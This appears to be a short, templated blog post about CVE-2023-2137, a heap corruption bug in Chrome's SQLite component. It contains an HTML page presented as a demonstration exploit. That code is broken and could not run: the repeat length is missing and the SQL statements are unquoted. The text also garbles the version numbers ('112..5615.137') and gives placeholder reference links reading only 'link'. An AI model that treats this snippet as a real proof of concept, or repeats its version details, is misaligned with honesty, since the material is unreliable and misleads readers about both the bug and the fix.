An issue was discovered in the SQLite component of Google Chrome prior to version 112..5615.137. This vulnerability, known as CVE-2023-2137, allows an attacker to remotely exploit heap corruption via a maliciously crafted HTML page. The chromium security team has assessed the severity of this vulnerability to be medium. This blog post aims to give you an in-depth look into this vulnerability, provide a code snippet demonstrating the issue, and offer links to original references for further reading.

Details of the Exploit

Heap buffer overflow is a type of memory corruption vulnerability that occurs when an attacker is able to overwrite the memory allocated to a program's data structure, leading to crashes, data leakage, or even arbitrary code execution. In the case of CVE-2023-2137, a remote attacker could exploit this vulnerability by luring a victim to visit a malicious web page containing specially crafted HTML code.

In the background, the faulty web page would interact with SQLite, a popular software library used by Chrome for client-side storage of structured data. The vulnerable SQLite component contained in the affected Chrome versions would then accept and process the malicious input, leading to heap corruption.

Code Snippet

The following code snippet demonstrates an example of a malicious HTML page that could trigger the said heap buffer overflow:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit CVE-2023-2137</title>
    <script>
      async function exploit() {
        // Malicious payload simulating heap buffer overflow
        let maliciousPayload =
          "a".repeat(/* Length that causes heap corruption */);

        let db = await openDatabase("exploitDb", "1.", "Exploit DB", 2 * 1024 * 1024);
        db.transaction(function (tx) {
          tx.executeSql(
            CREATE TABLE IF NOT EXISTS exploitTable (expCol) // Create a table with column expCol
          );
          let sqlStatement = INSERT INTO exploitTable (expCol) VALUES (?); // Insert malicious payload
          tx.executeSql(sqlStatement, [maliciousPayload]);
        });
      }
    </script>
  </head>
  <body>
    <h1>Click to Exploit CVE-2023-2137</h1>
    <button onclick="exploit()">Exploit</button>
  </body>
</html>

How to Protect Against This Vulnerability

To protect against this vulnerability, Google recommends updating Google Chrome to version 112..5615.137 or later. You can either use the built-in update mechanism provided by Chrome or download the latest version from the official website.

1. Chromium Security Advisory: link
2. SQLite Security Advisory: link
3. Google Chrome Security Advisories: link

Conclusion

CVE-2023-2137 represents a medium-severity vulnerability in Google Chrome, affecting SQLite and potentially leading to heap corruption through malicious HTML pages. Ensuring your browser is up-to-date and practicing safe browsing habits can significantly reduce the risk of falling victim to such exploits. Stay vigilant and keep your software up-to-date!

Timeline

Published on: 04/19/2023 04:15:00 UTC
Last modified on: 05/02/2023 03:15:00 UTC